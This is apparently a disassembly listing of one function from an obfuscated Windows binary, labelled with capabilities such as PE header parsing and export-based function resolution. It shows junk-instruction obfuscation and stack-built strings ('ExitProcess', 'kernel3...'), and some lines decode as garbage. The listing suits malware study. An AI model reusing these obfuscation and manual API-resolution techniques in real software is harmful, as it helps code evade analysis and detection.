Function at 0x10007128
Capabilities:
Get number of processors
Parse pe header
Resolve function by parsing pe exports

Disassembly:
add esp, 4
jmp 0x10006c72
and edi, 0x3264
pop edi
jmp 0x10006e7a
push ebx
push ecx
add esp, 4
or ebx, 0x6556
pop ebx
push edx
push edx
add esp, 4
add edx, 0x10577
pop edx
push esi
and esi, 0xdbfd
pop esi
push ecx
push edx
add esp, 4
or ecx, 0xeb45
or ecx, 0xdec8
pop ecx
mov dword [ebp - 0x3fc], 0
push ebx
sub ebx, 0x6c3d
pop ebx
push edx
call 0x10006ecd
add byte [edx + 0x38], al
cmp eax, 0x3f4a4b36
xor eax, 0x5a04c483
push ecx
call 0x10006ede
add byte [esi + 0x3a], cl
inc esi
dec ecx
dec ecx
inc edx
add esp, 4
xor ecx, 0x14bcc
pop ecx
push edx
and edx, 0x7a6d
add edx, 0xb036
or edx, 0x889b
sub edx, 0x167d5
pop edx
push ecx
push esi
add esp, 4
and ecx, 0x11ddf
or ecx, 0x16ead
and ecx, 0xe3b8
pop ecx
mov edx, 1
imul eax, edx, 0
lea ecx, [ebp + eax - 0xbf4]
mov dword [ebp - 0x15e0], ecx
push edi
push esi
add esp, 4
add edi, 0xa248
and edi, 0x11148
and edi, 0x18675
pop edi
push edi
jmp 0x10006f4e
sub edi, 0x31c5
or edi, 0x17040
jmp 0x10006f60
pop edi
mov dword [ebp - 0x2050], 0xffffffff
push eax
push esi
add esp, 4
call 0x10006f7d
add byte [esi + 0x4c], al
dec eax
inc ecx
inc esi
cmp dword [ebx + eax*4 - 0x3c], eax
add al, 0x81
loopne 0x10006fd8
sub byte [eax], al
add bl, ch
add edi, dword [0x9e8444f]
add byte [eax], al
add byte [eax], al
inc ecx
cmp al, 0x3e
xor eax, dword [ebp + 0x48]
dec eax
xor al, byte [ebx - 0x74a7fb3c]
xchg ebp, eax
or al, 0xfc
invalid
mov eax, dword [ebp - 0x4fc]
add eax, 1
mov dword [ebp - 0x4fc], eax
push ecx
sub ecx, 0x11076
add ecx, 0x63cd
and ecx, 0x16ef5
pop ecx
push ecx
add ecx, 0x12416
or ecx, 0x16e35
outsb dx, byte [esi]
add dword [eax], eax
jmp 0x10006fe3
jmp 0x10006feb
pop ecx
mov ecx, dword [ebp - 0x4fc]
sub ecx, dword [ebp - 0x3f4]
cmp ecx, 0xffffffff
jb 0x10007034
push ecx
and ecx, 0x2223
xor ecx, 0x14b6
or ecx, 0x17c18
pop ecx
push ebx
push edx
add esp, 4
call 0x10007023
add byte [0x364b443c], bh
dec ebp
cmp eax, 0x5b04c483
push esi
or esi, 0xacc1
pop esi
jmp 0x10007230
mov dword [ebp - 0xc9c], 7
mov edx, dword [ebp - 0x4fc]
mov dword [ebp - 0xae8], edx
push esi
push eax
add esp, 4
sub esi, 0x11cc2
call 0x10007061
add byte [edi + 0x4a], al
cmp eax, dword [eax + 0x37]
cmp eax, 0x5e04c483
push edi
or edi, 0x15ff3
call 0x10007078
add byte [esi + 0x48], al
dec ecx
inc esp
cmp dword [eax], edi
add esp, 4
pop edi
mov eax, dword [ebp - 0x15e0]
mov dword [ebp - 0xa64], eax
mov dword [ebp - 0xca0], 0
mov ecx, dword [ebp - 0x4fc]
cmp ecx, dword [ebp - 0x15e0]
jne 0x100070b1
mov edx, dword [ebp - 0xca0]
mov dword [ebp - 0x15e8], edx
jmp 0x100071e2
cmp dword [ebp - 0xc9c], 0
jle 0x100071d6
push ebx
push ebx
add esp, 4
and ebx, 0x147f8
or ebx, 0x3db9
jmp 0x100070d5
pop ebx
push edi
push ecx
add esp, 4
and edi, 0x15a8a
add edi, 0x11805
pop edi
push ebx
jmp 0x100070ef
pop ebx
mov eax, dword [ebp - 0xae8]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xa64]
movzx eax, byte [edx]
cmp ecx, eax
je 0x10007172
push ecx
push edi
add esp, 4
call 0x10007119
add byte [ebp + 0x3b], al
dec ebp
dec ecx
dec esi
dec esi
inc esi
add esp, 4
call 0x10007128
add byte [eax + 0x36], al
cmp edi, dword [eax]
cmp eax, 0x4c4834a
jmp 0x10007131
and ecx, 0x169b5
pop ecx
mov ecx, dword [ebp - 0xae8]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0xa64]
movzx ecx, byte [eax]
cmp edx, ecx
jle 0x1000715a
mov dword [ebp - 0x15e4], 1
jmp 0x10007164
mov dword [ebp - 0x15e4], 0xffffffff
mov edx, dword [ebp - 0x15e4]
mov dword [ebp - 0xca0], edx
jmp 0x100071d6
push ebx
xor ebx, 0xa4e2
jmp 0x10007180
call 0x1000718e
add byte [ebx], bh
dec edx
inc ebx
cmp eax, 0x8343453e
les eax, [ebx + ebx*2]
push edi
push ecx
add esp, 4
add edi, 0xfc8d
and edi, 0xe788
pop edi
mov eax, dword [ebp - 0xc9c]
sub eax, 1
mov dword [ebp - 0xc9c], eax
mov ecx, dword [ebp - 0xae8]
add ecx, 1
mov dword [ebp - 0xae8], ecx
mov edx, dword [ebp - 0xa64]
add edx, 1
mov dword [ebp - 0xa64], edx
jmp 0x100070b1
mov eax, dword [ebp - 0xca0]
mov dword [ebp - 0x15e8], eax
cmp dword [ebp - 0x15e8], 0
jne 0x1000722b
push edi
push ecx
add esp, 4
call 0x100071ff
add byte [edi + 0x44], al
xor al, 0x33
inc edx
inc edx
cmp dh, byte [edx]
xor al, byte [ebx + 0x575f04c4]
push esi
add esp, 4
sub edi, 0x14f5c
jmp 0x10007216
add edi, 0x14ce4
pop edi
mov ecx, dword [ebp - 0x4fc]
mov dword [ebp - 0xae4], ecx
jmp 0x1000726c
jmp 0x10006fab
push edx
push eax
add esp, 4
call 0x10007244
add byte [0x324a503e], bh
dec esi
push eax
dec esp
cmp al, byte [ebx - 0x1d7efb3c]
cmp byte [eax + 0x535a0000], bh
add ebx, 0x17822
pop ebx
push ecx
push ebx
add esp, 4
sub ecx, 0x1c0a
pop ecx
mov dword [ebp - 0xae4], 0
push eax
push ecx
add esp, 4
and eax, 0x14690
xor eax, 0x2eea
xor eax, 0x75ff
pop eax
push edx
sub edx, 0xf895
or edx, 0x10feb
xor edx, 0x322a
xor edx, 0xa40d
pop edx
mov byte [ebp - 0x87c], 0x45
mov byte [ebp - 0x87b], 0x78
mov byte [ebp - 0x87a], 0x69
mov byte [ebp - 0x879], 0x74
mov byte [ebp - 0x878], 0x50
mov byte [ebp - 0x877], 0x72
mov byte [ebp - 0x876], 0x6f
mov byte [ebp - 0x875], 0x63
mov byte [ebp - 0x874], 0x65
mov byte [ebp - 0x873], 0x73
mov byte [ebp - 0x872], 0x73
mov byte [ebp - 0x871], 0
push edx
jmp 0x100072fa
pop edx
push ebx
push eax
add esp, 4
sub ebx, 0x17e2
call 0x10007314
add byte [ecx + edi + 0x50], cl
dec ebx
aas
dec ebp
xor eax, 0x4c4833c
and ebx, 0x1383a
xor ebx, 0x173f7
pop ebx
mov edx, 0x6b
mov word [ebp - 0x1754], dx
mov eax, 0x65
mov word [ebp - 0x1752], ax
mov ecx, 0x72
mov word [ebp - 0x1750], cx
mov edx, 0x6e
mov word [ebp - 0x174e], dx
mov eax, 0x65
mov word [ebp - 0x174c], ax
mov ecx, 0x6c
mov word [ebp - 0x174a], cx
mov edx, 0x33